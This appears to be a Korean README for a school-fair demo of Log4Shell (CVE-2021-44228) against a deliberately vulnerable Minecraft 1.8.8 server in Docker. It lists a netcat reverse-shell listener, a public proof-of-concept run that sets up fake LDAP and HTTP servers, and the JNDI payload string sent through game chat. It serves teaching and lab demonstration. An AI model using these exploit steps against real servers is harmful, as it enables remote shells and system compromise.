
Log4Shell (CVE-2021-44228) 마인크래프트 데모. 교육 박람회에 사용됨.
이 데모는 교육 박람회에서 잠재적인 미래 학생들에게 HTL Villach의 사이버보안 학과와 일상적인 애플리케이션이 어떻게 악용될 수 있는지에 대한 아이디어를 제공하기 위해 사용됩니다.
참고: 이 전체 데모는 Minecraft 1.8.8을 사용합니다.
이 시나리오의 공격자는 kozmer의 PoC를 사용합니다. https://github.com/kozmer/log4j-shell-poc 모든 크레딧은 그들의 것입니다. 참고: 모든 명령은 attacker/ 디렉토리에서 실행되어야 합니다.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20이어야 하며, 동일한 디렉토리에 있어야 합니다.$ python3 poc.py --userip <ip of docker-host> --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://<ip of docker-host>:1389/a}
Listening on 0.0.0.0:1389
이 스크립트는 HTTP 서버와 LDAP 서버를 설정하고, 취약한 매개변수에 붙여넣을 수 있는 페이로드를 생성합니다. 그 후 모든 것이 잘 진행되면 lport에서 셸을 얻을 수 있습니다.
피해자 인스턴스에서는 오래되어 취약한 JDK 버전(jdk1.8.0_20) 을 사용합니다.
Minecraft 서버를 실행하려면 Docker 이미지를 빌드하고 실행해야 합니다.
참고: 성공적인 빌드를 위해서는 Minecraft Vanilla 1.8.8 서버의 자체 사본을 얻어야 합니다. (Mojang의 EULA로 인해 공유할 수 없음) 가능한 소스는 MCVERSIONS.NET입니다.
파일을 얻은 후 victim/ 디렉토리에 server.jar로 저장합니다.
cd target/
docker build target/ -t minecraft-demo
방금 빌드한 취약한 Minecraft 서버를 docker를 사용하여 실행합니다.
docker run --name vulnerable-server -p 25565:25565 minecraft-demo
익스플로잇 후 컨테이너가 멈추거나 중단될 가능성이 있습니다. 그 경우 다음 명령을 사용하여 종료할 수 있습니다:
docker kill vulnerable-server
취약점을 악용하려면 poc.py가 제공한 문자열을 게임 채팅에 보내기만 하면 됩니다.
${jndi:ldap://<ip of docker-host>:1389/a}
